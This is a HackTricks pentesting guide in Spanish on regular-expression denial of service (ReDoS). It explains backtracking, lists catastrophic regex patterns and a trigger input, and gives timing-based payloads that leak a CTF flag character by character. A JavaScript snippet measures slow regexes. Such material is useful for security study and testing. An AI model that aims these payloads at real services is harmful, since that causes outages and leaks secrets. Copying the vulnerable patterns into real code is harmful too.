hacktricks/pentesting-web/regular-expression-denial-of-service-redos.md
carlospolop 63bd9641c0 f
2023-06-05 20:33:24 +02:00

8.6 KiB

Regular expression Denial of Service - ReDoS

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

Introducción

Copiado de https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS

La Denegación de Servicio de Expresiones Regulares (ReDoS) es un ataque de Denegación de Servicio, que explota el hecho de que la mayoría de las implementaciones de Expresiones Regulares pueden llegar a situaciones extremas que les hacen trabajar muy lentamente (relacionado exponencialmente con el tamaño de la entrada). Un atacante puede hacer que un programa que utiliza una Expresión Regular entre en estas situaciones extremas y luego se cuelgue durante mucho tiempo.

Descripción

El algoritmo ingenuo de Regex problemático

El algoritmo ingenuo de Expresiones Regulares construye un Autómata Finito No Determinista (NFA), que es una máquina de estados finitos donde para cada par de estado y símbolo de entrada puede haber varios posibles estados siguientes. Luego, el motor comienza a hacer transiciones hasta el final de la entrada. Dado que puede haber varios posibles estados siguientes, se utiliza un algoritmo determinista. Este algoritmo intenta uno por uno todos los posibles caminos (si es necesario) hasta que se encuentra una coincidencia (o se prueban todos los caminos y fallan).

Por ejemplo, la Expresión Regular ^(a+)+$ se representa por el siguiente NFA:

Autómata Finito No Determinista

Para la entrada aaaaX hay 16 posibles caminos en el gráfico anterior. Pero para aaaaaaaaaaaaaaaaX hay 65536 posibles caminos, y el número se duplica por cada a adicional. Este es un caso extremo en el que el algoritmo ingenuo es problemático, porque debe pasar por muchos caminos y luego fallar.

Tenga en cuenta que no todos los algoritmos son ingenuos, y de hecho los algoritmos de Regex pueden escribirse de manera eficiente. Desafortunadamente, la mayoría de los motores de Regex hoy en día intentan resolver no solo Regex "puros", sino también Regex "expandidos" con "adiciones especiales", como referencias inversas que no siempre se pueden resolver de manera eficiente (consulte Patrones para lenguajes no regulares en Wiki-Regex para obtener más detalles). Por lo tanto, incluso si la Regex no está "expandida", se utiliza un algoritmo ingenuo.

Regexes maliciosas

Una Regex se llama "maliciosa" si puede quedarse atascada en una entrada manipulada.

El patrón de Regex malicioso contiene:

  • Agrupación con repetición
  • Dentro del grupo repetido:
    • Repetición
    • Alternancia con superposición

Ejemplos de patrones maliciosos:

  • (a+)+
  • ([a-zA-Z]+)*
  • (a|aa)+
  • (a|a?)+
  • (.*a){x} para x \> 10

Todos los anteriores son susceptibles a la entrada aaaaaaaaaaaaaaaaaaaaaaaa! (la longitud mínima de entrada podría cambiar ligeramente al usar máquinas más rápidas o más lentas).

Cargas útiles de ReDoS

Exfiltración de cadenas a través de ReDoS

En un CTF (o recompensa por errores) tal vez controles la Regex con la que se empareja una información sensible (la bandera). Entonces, si puede ser útil hacer que la página se congele (tiempo de espera o tiempo de procesamiento más largo) si se empareja una Regex y no si no lo hace. De esta manera, podrás exfiltrar la cadena carácter por carácter:

  • En esta publicación puedes encontrar esta regla de ReDoS: ^(?=<flag>)((.*)*)*salt$
    • Ejemplo: ^(?=HTB{sOmE_fl§N§)((.*)*)*salt$
  • En esta solución puedes encontrar esta: <flag>(((((((.*)*)*)*)*)*)*)!
  • En esta solución utilizó: ^(?=${flag_prefix}).*.*.*.*.*.*.*.*!!!!$

ReDoS Controlando la entrada y la Regex

Los siguientes son ejemplos de ReDoS donde controlas tanto la entrada como la Regex:

function check_time_regexp(regexp, text){
    var t0 = new Date().getTime();;
    new RegExp(regexp).test(text);
    var t1 = new Date().getTime();;
    console.log("Regexp " + regexp + " took " + (t1 - t0) + " milliseconds.")
}

// This payloads work because the input has several "a"s
[
//  "((a+)+)+$",  //Eternal,
//  "(a?){100}$", //Eternal
    "(a|a?)+$",
    "(\\w*)+$",   //Generic
    "(a*)+$",
    "(.*a){100}$",
    "([a-zA-Z]+)*$", //Generic
    "(a+)*$",
].forEach(regexp => check_time_regexp(regexp, "aaaaaaaaaaaaaaaaaaaaaaaaaa!"))

/*
Regexp (a|a?)+$ took 5076 milliseconds.
Regexp (\w*)+$ took 3198 milliseconds.
Regexp (a*)+$ took 3281 milliseconds.
Regexp (.*a){100}$ took 1436 milliseconds.
Regexp ([a-zA-Z]+)*$ took 773 milliseconds.
Regexp (a+)*$ took 723 milliseconds.
*/

Herramientas

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥